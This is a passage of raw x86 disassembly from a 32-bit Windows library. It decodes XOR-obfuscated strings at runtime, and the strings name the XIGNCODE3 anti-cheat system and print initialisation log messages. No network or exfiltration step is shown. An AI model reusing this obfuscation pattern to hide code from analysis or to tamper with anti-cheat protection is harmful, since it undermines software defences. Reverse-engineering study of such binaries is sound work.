lea esi, [eax - 0x3a]
mov word [ebp - 0x1208], si
add eax, 0xffffffd9
mov word [ebp - 0x1206], ax
mov word [ebp - 0x1204], si
add esi, 0xfffffffb
mov word [ebp - 0x1202], si
mov eax, 0x2643
mov word [ebp - 0x1200], ax
mov word [ebp - 0x11fe], di
lea edi, [eax - 0x3c]
mov word [ebp - 0x11fc], di
add eax, 8
mov word [ebp - 0x11fa], ax
lea eax, [edi + 0x3d]
mov word [ebp - 0x11f8], ax
add eax, 0xfffffffd
mov word [ebp - 0x11f6], ax
mov word [ebp - 0x11f4], di
lea eax, [edi + 0x13]
mov word [ebp - 0x11f2], ax
mov word [ebp - 0x11f0], di
mov word [ebp - 0x11ee], si
add eax, 0xfffffffd
mov word [ebp - 0x11ec], ax
lea eax, [edi + 0x18]
mov word [ebp - 0x11ea], ax
add eax, 0x40
mov word [ebp - 0x11e8], ax
xor eax, eax
mov word [ebp - 0x11e6], ax
mov ax, word [ebp - 0x1260]
mov eax, dword [ebx]
add eax, 0x28
mov dword [ebp - 0x14bc], eax
mov edx, dword [ebp - 0x14ac]
mov esi, dword [edx]
mov eax, 0x110
add esi, eax
mov edi, dword [edx]
add edi, eax
mov ebx, dword [edx]
add ebx, eax
mov eax, dword [edx]
add eax, 0x110
mov dword [ebp - 0x14b0], eax
push ecx
lea ecx, [ebp - 0x10a8]
call fcn.10010f82
push eax
push dword [ebp - 0x14ac]
call dword [esi]
push eax
lea ecx, [ebp - 0xe30]
call fcn.1000b49e
push eax
mov esi, dword [ebp - 0x14ac]
push esi
call dword [edi]
push eax
lea ecx, [ebp - 0x1318]
call fcn.1000b6ff
push eax
push esi
call dword [ebx]
push eax
lea ecx, [ebp - 0xddc]
call fcn.1000b49e
push eax
push esi
mov eax, dword [ebp - 0x14b0]
call dword [eax]
push eax
lea ecx, [ebp - 0x1264]
call fcn.10011151
push eax
push dword [ebp - 0x14b8]
mov eax, dword [ebp - 0x14bc]
call dword [eax]
add esp, 0x1c
mov eax, dword [0x10201ab4]
mov ecx, dword [eax + 0xa8]
mov eax, dword [eax + 0x10]
mov edi, dword [eax + 0x48]
mov dword [ebp - 0xe48], 0x590c
mov eax, dword [ebp - 0xe48]
xor eax, 0x58
mov word [ebp - 0xe44], ax
mov eax, dword [ebp - 0xe48]
inc eax
push 0x49
pop edx
xor eax, edx
mov word [ebp - 0xe42], ax
mov eax, dword [ebp - 0xe48]
add eax, 2
xor eax, 0x47
mov word [ebp - 0xe40], ax
mov eax, dword [ebp - 0xe48]
add eax, 3
push 0x4e
pop edx
xor eax, edx
mov word [ebp - 0xe3e], ax
mov eax, dword [ebp - 0xe48]
add eax, 4
xor eax, 0x43
mov word [ebp - 0xe3c], ax
mov eax, dword [ebp - 0xe48]
add eax, 5
xor eax, 0x4f
mov word [ebp - 0xe3a], ax
mov eax, dword [ebp - 0xe48]
add eax, 6
xor eax, 0x44
mov word [ebp - 0xe38], ax
mov eax, dword [ebp - 0xe48]
add eax, 7
push 0x45
pop esi
xor eax, esi
mov word [ebp - 0xe36], ax
mov eax, dword [ebp - 0xe48]
add eax, 8
xor eax, 0x33
mov word [ebp - 0xe34], ax
xor eax, eax
mov word [ebp - 0xe32], ax
mov ax, word [ebp - 0xe44]
mov dword [ebp - 0xc9c], 0x2f0b
mov eax, dword [ebp - 0xc9c]
push 0x78
pop edx
xor eax, edx
mov word [ebp - 0xc98], ax
mov eax, dword [ebp - 0xc9c]
inc eax
xor eax, 0x63
mov word [ebp - 0xc96], ax
mov eax, dword [ebp - 0xc9c]
add eax, 2
xor eax, 0x6c
mov word [ebp - 0xc94], ax
mov eax, dword [ebp - 0xc9c]
add eax, 3
push 0x69
pop edx
xor eax, edx
mov word [ebp - 0xc92], ax
mov eax, dword [ebp - 0xc9c]
add eax, 4
push 0x6f
pop edx
xor eax, edx
mov word [ebp - 0xc90], ax
mov eax, dword [ebp - 0xc9c]
add eax, 5
push 0x3a
pop edx
xor eax, edx
mov word [ebp - 0xc8e], ax
mov eax, dword [ebp - 0xc9c]
add eax, 6
xor eax, edx
mov word [ebp - 0xc8c], ax
mov eax, dword [ebp - 0xc9c]
add eax, 7
push 0x20
pop ebx
xor eax, ebx
mov word [ebp - 0xc8a], ax
mov eax, dword [ebp - 0xc9c]
add eax, 8
xor eax, 0x57
mov word [ebp - 0xc88], ax
mov eax, dword [ebp - 0xc9c]
add eax, 9
xor eax, 0x4f
mov word [ebp - 0xc86], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0xa
xor eax, 0x57
mov word [ebp - 0xc84], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0xb
xor eax, 0x2c
mov word [ebp - 0xc82], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0xc
xor eax, ebx
mov word [ebp - 0xc80], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0xd
xor eax, 0x25
mov word [ebp - 0xc7e], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0xe
xor eax, 0x6c
mov word [ebp - 0xc7c], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0xf
xor eax, 0x73
mov word [ebp - 0xc7a], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x10
xor eax, ebx
mov word [ebp - 0xc78], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x11
xor eax, 0x53
mov word [ebp - 0xc76], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x12
xor eax, 0x59
mov word [ebp - 0xc74], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x13
xor eax, 0x53
mov word [ebp - 0xc72], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x14
xor eax, 0x54
mov word [ebp - 0xc70], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x15
xor eax, esi
mov word [ebp - 0xc6e], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x16
push 0x4d
pop edx
xor eax, edx
mov word [ebp - 0xc6c], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x17
xor eax, ebx
mov word [ebp - 0xc6a], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x18
xor eax, 0x25
mov word [ebp - 0xc68], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x19
xor eax, 0x64
mov word [ebp - 0xc66], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x1a
xor eax, ebx
mov word [ebp - 0xc64], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x1b
xor eax, 0x49
mov word [ebp - 0xc62], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x1c
xor eax, 0x4e
mov word [ebp - 0xc60], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x1d
xor eax, 0x49
mov word [ebp - 0xc5e], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x1e
xor eax, 0x54
mov word [ebp - 0xc5c], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x1f
xor eax, 0x49
mov word [ebp - 0xc5a], ax
mov eax, dword [ebp - 0xc9c]
add eax, ebx
xor eax, 0x41
mov word [ebp - 0xc58], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x21
xor eax, 0x4c
mov word [ebp - 0xc56], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x22
xor eax, 0x49
mov word [ebp - 0xc54], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x23
xor eax, 0x5a
mov word [ebp - 0xc52], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x24
xor eax, 0x41
mov word [ebp - 0xc50], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x25
xor eax, 0x54
mov word [ebp - 0xc4e], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x26
xor eax, 0x49
mov word [ebp - 0xc4c], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x27
xor eax, 0x4f
mov word [ebp - 0xc4a], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x28
xor eax, 0x4e
mov word [ebp - 0xc48], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x29
xor eax, ebx
mov word [ebp - 0xc46], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x2a
xor eax, 0x49
mov word [ebp - 0xc44], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x2b
xor eax, 0x53
mov word [ebp - 0xc42], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x2c
xor eax, ebx
mov word [ebp - 0xc40], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x2d
xor eax, 0x43
mov word [ebp - 0xc3e], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x2e
xor eax, 0x4f
mov word [ebp - 0xc3c], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x2f
xor eax, edx
mov word [ebp - 0xc3a], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x30
xor eax, 0x50
mov word [ebp - 0xc38], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x31
push 0x4c
pop edx
xor eax, edx
mov word [ebp - 0xc36], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x32
xor eax, esi
mov word [ebp - 0xc34], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x33
xor eax, 0x54
mov word [ebp - 0xc32], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x34
xor eax, esi
mov word [ebp - 0xc30], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x35
xor eax, ebx
mov word [ebp - 0xc2e], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x36
xor eax, 0x21
mov word [ebp - 0xc2c], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x37
xor eax, 0x21
mov word [ebp - 0xc2a], ax
mov eax, dword [ebp - 0xc9c]
add eax, 0x38
xor eax, 0x21
mov word [ebp - 0xc28], ax
xor eax, eax
mov word [ebp - 0xc26], ax
mov ax, word [ebp - 0xc98]
mov esi, dword [edi]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x7c]
push eax
lea ecx, [ebp - 0xe48]
call fcn.10010ec6
push eax
lea ecx, [ebp - 0xc9c]
call fcn.10010e39
push eax
push edi
call dword [esi + 0x28]
add esp, 0x10
mov eax, dword [0x10201ab4]
mov eax, dword [eax + 0x10]
mov edi, dword [eax + 4]
add edi, 4
mov dword [ebp - 0xd88], 0x4bf1
mov eax, dword [ebp - 0xd88]
push 0x78
pop ecx
xor eax, ecx
mov word [ebp - 0xd84], ax
mov eax, dword [ebp - 0xd88]
inc eax
xor eax, 0x63
mov word [ebp - 0xd82], ax
mov eax, dword [ebp - 0xd88]
add eax, 2
xor eax, 0x6c
mov word [ebp - 0xd80], ax
mov eax, dword [ebp - 0xd88]
add eax, 3
push 0x69
pop edx
xor eax, edx
mov word [ebp - 0xd7e], ax
mov eax, dword [ebp - 0xd88]
add eax, 4
push 0x6f
pop ecx
xor eax, ecx
mov word [ebp - 0xd7c], ax
mov eax, dword [ebp - 0xd88]
add eax, 5
push 0x3a
pop ecx
xor eax, ecx
mov word [ebp - 0xd7a], ax
mov eax, dword [ebp - 0xd88]
add eax, 6
xor eax, ecx
mov word [ebp - 0xd78], ax
mov eax, dword [ebp - 0xd88]
add eax, 7
xor eax, ebx
mov word [ebp - 0xd76], ax
mov eax, dword [ebp - 0xd88]
add eax, 8
xor eax, 0x41
mov word [ebp - 0xd74], ax
mov eax, dword [ebp - 0xd88]
add eax, 9
push 0x6d
pop ecx
xor eax, ecx
mov word [ebp - 0xd72], ax
mov eax, dword [ebp - 0xd88]
add eax, 0xa
xor eax, 0x61
mov word [ebp - 0xd70], ax
mov eax, dword [ebp - 0xd88]
add eax, 0xb
push 0x7a
pop ecx
xor eax, ecx
mov word [ebp - 0xd6e], ax
mov eax, dword [ebp - 0xd88]
add eax, 0xc
xor eax, edx
mov word [ebp - 0xd6c], ax
mov eax, dword [ebp - 0xd88]
add eax, 0xd
push 0x6e
pop ecx
xor eax, ecx
mov word [ebp - 0xd6a], ax
mov eax, dword [ebp - 0xd88]
add eax, 0xe
xor eax, 0x67
mov word [ebp - 0xd68], ax
mov eax, dword [ebp - 0xd88]
add eax, 0xf
xor eax, ebx
mov word [ebp - 0xd66], ax
mov eax, dword [ebp - 0xd88]
add eax, 0x10
xor eax, 0x21
mov word [ebp - 0xd64], ax
mov eax, dword [ebp - 0xd88]
add eax, 0x11
xor eax, 0x21
mov word [ebp - 0xd62], ax
mov eax, dword [ebp - 0xd88]
add eax, 0x12
xor eax, 0x21
mov word [ebp - 0xd60], ax
xor eax, eax
mov word [ebp - 0xd5e], ax
mov ax, word [ebp - 0xd84]
mov esi, dword [edi]
lea ecx, [ebp - 0xd88]
call fcn.10010e68
push eax
push edi
call dword [esi + 8]
pop ecx
pop ecx
mov eax, dword [0x10201ab4]
mov eax, dword [eax + 0x10]
mov edi, dword [eax + 4]
add edi, 4
mov dword [ebp - 0x1150], 0xbb71
mov eax, 0xbb09
mov word [ebp - 0x114c], ax
add eax, 9
mov word [ebp - 0x114a], ax
mov eax, 0xbb1d
mov word [ebp - 0x1148], ax
add eax, 0xfffffffb
mov word [ebp - 0x1146], ax
mov esi, 0xbb1e
mov word [ebp - 0x1144], si
lea eax, [esi + 0x2d]
mov word [ebp - 0x1142], ax
mov word [ebp - 0x1140], ax
lea edx, [esi + 0x33]
mov word [ebp - 0x113e], dx
add eax, 0xffffffe5
mov word [ebp - 0x113c], ax
lea eax, [esi - 0x18]
mov word [ebp - 0x113a], ax
lea ecx, [esi - 0xa]
mov word [ebp - 0x1138], cx
add eax, 0xfffffffc
mov word [ebp - 0x1136], ax
mov word [ebp - 0x1134], si
lea eax, [esi - 2]
mov word [ebp - 0x1132], ax
mov word [ebp - 0x1130], cx
mov word [ebp - 0x112e], dx
add eax, 0x34
mov word [ebp - 0x112c], ax
mov word [ebp - 0x112a], ax
mov word [ebp - 0x1128], ax
xor eax, eax
mov word [ebp - 0x1126], ax
mov ax, word [ebp - 0x114c]
mov esi, dword [edi]
lea ecx, [ebp - 0x1150]
call fcn.10002c85
push eax
push edi
call dword [esi + 8]
pop ecx
pop ecx
lock inc dword [0x101122a8]
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
mov eax, dword [ebp - 0x14b4]
xchg dword [eax], ecx
xor eax, eax
inc eax
jmp 0x10010a97
or dword [ebp - 4], 0xffffffff
xor edx, edx
mov ecx, dword [ebp - 0x14b4]
xchg dword [ecx], edx
mov eax, ebx
jmp 0x10010a97
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100cc9b8
leave
ret 4
call fcn.1000c9d0
call fcn.1000cd6b
call fcn.1000c9b1
int3